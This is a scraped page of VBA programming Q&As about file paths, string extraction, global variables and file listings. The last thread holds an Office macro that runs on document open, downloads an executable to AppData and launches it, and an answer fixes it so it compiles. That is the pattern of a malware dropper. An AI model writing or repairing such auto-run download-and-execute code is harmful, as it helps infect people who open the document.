Excel vba function with specific part of a path as variable - excel

I have a function in excel that gives hour of last modification using path , only one part of the path changes exp:
\c:\xcl\report\sudtrack\20200324\dossier22
the part is 20200324
i want to do something like that : function('20200324') the code will place it in the path
path="\\c:\xcl\report\sudtrack\" & 20200324 &"\dossier22"
my current code
Function End_hour(path As String)
End_hour = Format(FileDateTime(path), "hh:mm:ss")
End Function

i want to do something like that : function('20200324') the code will place it in the path
No need to use use a function. You can directly do a Replace. Just set up a base string as shown below and do the replace.
Option Explicit
Sub Sample()
Dim myPath As String
myPath = "\\c:\xcl\report\sudtrack\HOUROFLASTMOD\dossier22"
MsgBox Replace(myPath, "HOUROFLASTMOD", "20200324")
End Sub
Note: I have used HOUROFLASTMOD. You can change it to whatever string you want.
If you still want to use a function then try this
Option Explicit
Sub Sample()
MsgBox ReturnNewPath("20200324")
End Sub
Function ReturnNewPath(TimeString As String)
Dim myPath As String
myPath = "\\c:\xcl\report\sudtrack\HOUROFLASTMOD\dossier22"
ReturnNewPath = Replace(myPath, "HOUROFLASTMOD", TimeString)
End Function

Related

In VBA, how to extract the string before a number from the text

From ActiveWorkbook.name, I would like to extract the strings that are before (left side of ) the numbers. Since I want to use the same code in multiple workbooks, the file names would be variable, but every file name has date info in the middle (yyyymmdd).
In case of excel file, I can use the below formula, but can I apply the same kind of method in VBA?
=LEFT(A1,MIN(FIND({0,1,2,3,4,5,6,7,8,9},ASC(A1)&1234567890))-1)
Example: MyExcelWorkbook_Management_20200602_MyName.xlsm
In above case, I want to extract "MyExcelWorkbook_Management_".
The most basic thing you could do is to replicate something that worked for you in Excel through Evaluate:
Sub Test()
Dim str As String: str = "MyExcelWorkbook_Management_20200602_MyName.xlsm"
Debug.Print Evaluate(Replace("=LEFT(""X"",MIN(FIND({0,1,2,3,4,5,6,7,8,9},ASC(""X"")&1234567890))-1)", "X", str))
End Sub
Pretty? Not really, but it does the job and got it's limitations.
You could use Regular Expressions to extract any letters / underscores before the number as well
Dim str As String
str = "MyExcelWorkbook_Management_20200602_MyName.xlsm"
With CreateObject("vbscript.regexp")
.Pattern = "^\D*"
.Global = True
MsgBox .Execute(str)(0)
End With
Gives:
MyExcelWorkbook_Management_
So basically you want to use the Midfunction to look for the first numerical character in your input string, and then cut your input string to that position.
That means we need to loop through the string from left to right, look at one character at a time and see if it is a digit or not.
This code does exactly that:
Option Explicit
Sub extratLeftText()
Dim someString As String
Dim result As String
someString = "Hello World1234"
Dim i As Long
Dim c As String 'one character of your string
For i = 1 To Len(someString)
c = Mid(someString, i, 1)
If IsNumeric(c) = True Then 'should write "If IsNumeric(c) = True AND i>1 Then" to avoid an "out of bounds" error
result = Left(someString, i - 1)
Exit For
End If
Next i
MsgBox result
End Sub
Last thing you need to do is to load in some workbook name into your VBA function. Generally this is done with the .Name method of the workbookobject:
Sub workbookName()
Dim wb As Workbook
Set wb = ActiveWorkbook
MsgBox wb.Name
End Sub
Of course you would need to find some way to replace the Set wb = ActiveWorkbook line with code that suits your purpose.

Set variable that is constant for all Subs

I have several Sub's in my Module. I would like to set variable that I can use in all Subs below. How to do that?
Let's say variable is a text from ThisWorkbook.Worksheets("Sheet1").Range("E1").Value and its name should be FileNameINVREQ
How to implement that in the code? I have tried:
Option Explicit
Const FileNameINVREQ As String = ThisWorkbook.Worksheets("Sheet1").Range("E1").Value
Private Sub CreateNewINVREQtoMFiles()
...
' PD Name Or title.
oPVNew.PropertyDef = 0
oPVNew.TypedValue.SetValue MFDatatypeText, FileNameINVREQ
oPVsNew.Add -1, oPVNew
...
End Sub
Private Sub CreateINVREQtoMFiles()
...
oFile.SourceFilePath = Environ("Temp") & "\" & FileNameINVREQ & ".docx"
oFile.Title = FileNameINVREQ
oFile.extension = "docx"
oFiles.Add 0, oFile
...
End Sub
A constant means it cannot be changed. For a variable, taking data from a cell, accessible from everywhere a public function without arguments would do the job:
Public Function FileNameINVREQ() As Variant
FileNameINVREQ = ThisWorkbook.Worksheets("Sheet1").Range("E1").Value
End Function
Pulling a value from a worksheet is technically not a constant (since the value could change) so you'll need to use a variable instead. However, while you can declare variables as global, you can't set them outside of a sub or function.
My suggestion would be to move both the declaration and setting the value to its own subroutine that you reference when you need to know the value.
Global FileNameINVREQ as string
Sub FileName()
FileNameINVREQ = ThisWorkbook.Worksheets("Sheet1").Range("E1").Value
End Sub
Going a step further, you could scrap it as a variable entirely and just change that FileName sub to a function! Hopefully one of these solutions works for you!

Fill a ListBox with Excel files older than x month

I'm making a WinForm project that shows me all the Excel files older than x months of a selected folder.
I can populate a ListBox with all the Excel files (see code below).
In selecting the older than x month, I don't succeed. I think I should work with the LastWriteTime but can’t find how to use it.
Can anyone help me to find a solution on this?
Private Sub ListFiles(ByVal folderPath As String)
filesListBox.Items.Clear()
Dim fileNames As String() =
System.IO.Directory.GetFiles(folderPath,
"*.xl*", System.IO.SearchOption.TopDirectoryOnly)
For Each fileName As String In fileNames
fileslistbox.Items.Add(fileName)
Next
End Sub
The information on the a File Creation Time / Last Write Time is returned by the FileInfo class, which provides the Creation Time, Last Write Time and Last Access Time of a file through a FileSystemInfo class.
See whether you need the File Creation Time or the Last Write Time, depending on what your requirements are.
The Last Access Time may return just the file Creation DateTime, depending on the System.
An example, with a modified ListFiles method:
I've added a parameter to the method, OlderThanMonths, which is used to specify how old a file should be to be included in the list.
Here, the DateTime reference is LastWriteTime.
Private Sub ListFiles(ByVal folderPath As String, OlderThanMonths As Integer)
filesListBox.Items.Clear()
Dim fileNames As String() = Directory.GetFiles(folderPath, "*.xl*", SearchOption.TopDirectoryOnly)
ListBox1.BeginUpdate()
For Each fileName As String In fileNames
Dim FIinfo As New FileInfo(fileName)
If FIinfo.LastWriteTime.AddMonths(OlderThanMonths) <= Date.Now Then
filesListBox.Items.Add(fileName)
End If
Next
ListBox1.EndUpdate()
End Sub
Or with a LINQ Where() filter:
Private Sub ListFiles(ByVal folderPath As String, OlderThanMonths As Integer)
filesListBox.Items.Clear()
filesListBox.Items.AddRange(
Directory.GetFiles(folderPath, "*.xl*", SearchOption.TopDirectoryOnly).
Where(Function(f) New FileInfo(f).LastWriteTime.AddMonths(OlderThanMonths) <= Date.Now).
ToArray())
End Sub
You are almost there. Just need to add an IF clause to check the Modified Date.
Check this code sample:
Private Sub ListFiles(ByVal folderPath As String)
filesListBox.Items.Clear()
Dim fileNames As String() =
System.IO.Directory.GetFiles(folderPath,
"*.xl*", System.IO.SearchOption.TopDirectoryOnly)
For Each fileName As String In fileNames
Dim dtFileModifiedDate As DateTime = IO.File.GetLastWriteTime(fileName)
Dim dtCustomDate As DateTime = DateTime.ParseExact(20180401, "yyyyMMdd", Globalization.CultureInfo.InvariantCulture)
If dtFileModifiedDate > dtCustomDate Then
filesListBox.Items.Add(fileName)
End If
Next
End Sub

read constant from a cell

I am writing a VBA code to read some text files, I would like the file names to be read directly from cells in excel.
I used the following code
Sub ImportFile()
Const textFilePath As String = "C:\Desktop\"
Const textFileName As String = "File1.txt"
Const newTextFileName As String = "NewFile1.txt"
I want to have something like
Sub ImportFile()
Const textFilePath As String = Range("A2").value
Const textFileName As String = Range("A3").value
Const newTextFileName As String = Range("A4").value
I tried different combinations but it does not seem to like the idea of assigning a constant to a cell value, any work around?
Thanks
P.S I don't know how to write the code in a correct way in this website, I tried to add 4 spaces before the code lines but did not seem to work, any idea why?
I don't think you can assign a constant from a range because the range value could change during your code execution. I tried your declarations in this bit of code:
Option Explicit
Sub ImportFile()
Const textFilePath As String = Range("A2").Value
Const textFileName As String = Range("A3").Value
Const newTextFileName As String = Range("A4").Value
End Sub
and on Debug..Compile in the IDE I got this error
If you change your code to
Option Explicit
Sub ImportFile()
Dim textFilePath As String
Dim textFileName As String
Dim newTextFileName As String
textFilePath = Range("A2").Value
textFileName = Range("A3").Value
newTextFileName = Range("A4").Value
End Sub
You'll find it compiles OK.
Unless you're talking "Universal (physical) constants" like PI,c or G for example, constants rarely are constant. I've found that having a named range, possibly on a hidden sheet, and populating a variable from that named range makes for easier maintenance by users with little no VBA experience. Sure, you need to keep track of those "constants" to maintain them but at least you don't need VBA experience to do so.
You can't do that in vba since your constant variables might change. However, I think that you want to declare and initialize your path variables once so that later if you decide to change them you can do that in one place in the same row where the variable was initialized. So If I were you I would use something like
Option Explicit
sub macro()
Dim FILEPATH As String: FILEPATH = Range("A1").Value
MsgBox FILEPATH
end sub

Compile Error: Argument Not Optional-MSWord

Doing some simple VBA scripting and run into a bit of a roadblock. (I'm a very new VBA coder).
When I compiled the following code, I keep getting "Compile Error: Argument Not Optional" and yet I can't seem to find any errors (probably just my idiocy).
The code is supposed to download a file (I've just got the PuTTy executable for testing) and then load it into the AppData folder and execute.
Appreciate the help.
Sub Auto_Open()
input
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
Set pass = CreateObject('MSXML2.XMLHTTP')
pass.Open 'GET', pass2, False
pass.Send 'send request
Do While pass.readyState <> 4
DoEvents
Loop
helper = pass.responseBody
hard = FreeFile
If Dir(pass3) <> '' Then Kill pass3
Open pass3 For Binary As # hard
Put # hard, , helper
Close # hard
Dim temp
temp = Shell(pass3, 1)
Set pass = Nothing
End Function
Sub input()
var1 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', Environ('AppData') & '\test.exe'
End Sub
Please see my comments in your code. I highly recommend visiting the vba wiki page, as it has some great resources for people new to the language. I didn't test or debug the code at all. I just corrected the obvious mistakes so that it will compile.
Option Explicit
Sub AutoOpen()
'no idea what this was doing, but you can't define a sub more than once, it's ambiguous.
End Sub
Sub Workbook_Open()
AutoOpen
End Sub
Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
' single quotes (apostrophes) create comments in vba. Use double quotes instead(")
Set pass = CreateObject("MSXML2.XMLHTTP")
pass.Open "GET", pass2, False
pass.Send "send request"
Do While pass.readyState <> 4
DoEvents
Loop
helper = pass.responseBody
hard = FreeFile
If Dir(pass3) <> "" Then Kill pass3
Open pass3 For Binary As #hard
Put #hard, , helper
Close #hard
Dim temp
temp = Shell(pass3, 1)
Set pass = Nothing
End Function
Sub someInput() ' you can't use input, it's a reserved work
var1 "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", Environ("AppData") & "\test.exe"
End Sub

Resources